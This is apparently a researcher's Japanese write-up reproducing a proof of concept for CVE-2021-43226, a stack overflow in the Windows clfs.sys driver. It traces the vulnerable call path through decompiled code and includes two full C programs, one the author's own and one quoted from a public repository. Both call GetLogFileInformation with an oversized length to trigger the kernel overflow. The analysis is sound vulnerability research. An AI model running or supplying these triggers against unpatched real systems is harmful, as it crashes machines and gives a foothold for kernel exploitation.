
cve-2021-43226の概念実証,Windowsドライバclfs.sysにおけるスタックオーバーフロー
OS: Hyper-V上のWin10 20H2 バージョン19042.508。サイト https://os.click/en を見つけました。Windowsイメージが比較的充実しており、バックドアは今のところ発見されていません。 見つけたPoCはVisual Studio 2013でコンパイルされていたため、私もVisual Studio 2013で静的リンクを使用しました。
脆弱性はclfs.sys内のCClfsLogFcbVirtual::QueryLogFileInfo関数にあります。 clfs.sysはMicrosoftのドキュメントで次のように説明されています。
The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.
この関数の最初のポインタはCClfsLogFcbVirtual* thisです。パッチ前後のコードを比較すると、次のようなコードの前にSizeを120に設定しているかどうかが直感的な違いとしてわかります。
v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))( *((_QWORD *)this + 78), a2, 0i64, 0i64, 0, Src, Size);
この関数が呼び出す他のパラメータのうち、a2はFILE_OBJECT、Srcはスタック上の配列です(IDA逆アセンブル結果:__int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF)。この脆弱性の説明はスタックオーバーフローであり、Sizeが120より大きいとスタックオーバーフローが発生すると推測されます。
問題の一つは、クロスリファレンスを直接確認できないことです。この関数は__guard_dispatch_icall_fptrを介して呼び出されており、現在、関数呼び出しにおける引数の受け渡しを特定しているところです。
(更新): この関数はClfsQueryLogFileInformationまたはCClfsRequest::LogFileInfoの2つの関数から呼び出され、それぞれCreateLogFileとGetLogFileInformationの2つのAPIを使用しています。このうちGetLogFileInformationの呼び出しチェーンが明らかに短いため、このAPIを使用してクラッシュを発生させることにしました。
GetLogFileInformation呼び出し時の最後の引数渡しは、LogFileInfo関数内で次のようになります:
v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
*((_QWORD *)this + 18),
v14,
**(unsigned int **)(*((_QWORD *)this + 6) + 24i64));
ここでv14はFileObject、thisはLogFileInfoに引数として渡されるCClfsRequestです。
さらにLogFileInfoを呼び出す関数はCClfsRequest::Dispatchです(具体的な宣言:__int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3))。この関数はLowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;によって具体的にどの関数を呼び出すかを判断します。CurrentStackLocationは構造体で、struct _IO_STACK_LOCATION *CurrentStackLocation; // rdxが引数として渡されます。また、thisの値は上位関数からこのdispatchに渡される引数に依存するため、さらに上を見ていきます。
次はCClfsDispatchIoRequest関数です。v7 = CClfsRequest::Dispatch(v4, Irp, a1); a1とIrpは渡される引数で、a1はDeviceObject、IrpはPIRP型、つまりIRPへのポインタです(IRPについては https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp を参照)。
v4の代入は次の通りです:
v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
v4 = CClfsRequest::CClfsRequest(v6);//v4是一个int64类型
さらに引数の受け渡しを見ていくと、CClfsDriver::LogIoDispatch関数に到達します。この関数は自身が受け取った引数をそのままCClfsDispatchIoRequest関数に渡します。
さらに一つ上の段階はnt!IofCallDriver関数です。この関数の宣言はNTSTATUS IofCallDriver( PDEVICE_OBJECT DeviceObject, __drv_aliasesMem PIRP Irp );
まずAPIの具体的な宣言とパラメータの意味を確認します。 GetLogFileInformation:
CLFSUSER_API BOOL GetLogFileInformation(
[in] HANDLE hLog,
[in, out] PCLFS_INFORMATION pinfoBuffer,
[in, out] PULONG cbBuffer
);
パラメータの定義は以下の通りです:
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
//create log file
wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
if (handle == INVALID_HANDLE_VALUE){
printf("sad:(\n");
abort();
}
printf("create log file success\n");
//sizeof(CLS_INFORMATION)是120即是0x78
CLFS_INFORMATION buffer;
ULONG t = 0x120;
BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
return 0;
}
CreateLogFileとGetLogFileInformationのパラメータは、Microsoftのドキュメント(https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file)に従ってそのまま使用します。 しかし、lognameに関していくつか問題がありました。最初は基本的にドキュメントに従っていました。
例:パス「LOG:c:\MyDirectory\MyLog」はファイル「c:\MyDirectory\MyLog.blf」を作成します。 しかし、このようにするとカレントディレクトリに「c」という名前のログファイルが作成されてしまうことがわかりました。そこでPoC(Others)を参照し、Windowsシステム上の一般的なパス表記「LOG: C:\MyLog」に変更しました。しかしこれでもうまくいかず、デバッグの結果、CClfsLogFcbVirtual::QueryLogFileInfoではなくCClfsLogFcbPhysical::QueryLogFileInfo関数が呼び出されていることがわかりました。そこでLogStreamNameを追加したところ、動作するようになりました。 もう一つの小さな問題は、Visual Studioでコードを生成する際に静的リンクを使用していることです。
#pragma comment(lib,"clfsw32.lib")の行がないと、リンカがCreateLogFile、GetLogFileInformationが見つからないと繰り返しエラーを出します。
(https://github.com/KaLendsi/CVE-2021-43224-POC)
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")
int main() {
wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";
//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";
//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";
//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0
//SECURITY_ATTRIBUTES psaLogFile = {};
HANDLE hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
if (INVALID_HANDLE_VALUE == hLog)
{
printf("error=%d\n", GetLastError());
return 1;
}
if (!RegisterManageableLogClient(hLog, 0))
printf("error=%d\n", GetLastError());
printf("hLog=%p\n", hLog);
CLFS_INFORMATION pinfoBuffer = {};
//ULONG infoSize = sizeof(pinfoBuffer);
ULONG infoSize = 0x110;
// system("pause");
DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
if (dwRet == NULL)
{
printf("error=%d\n", GetLastError());
return 1;
}
printf("dwRet=%08x\n", dwRet);
return 0;
}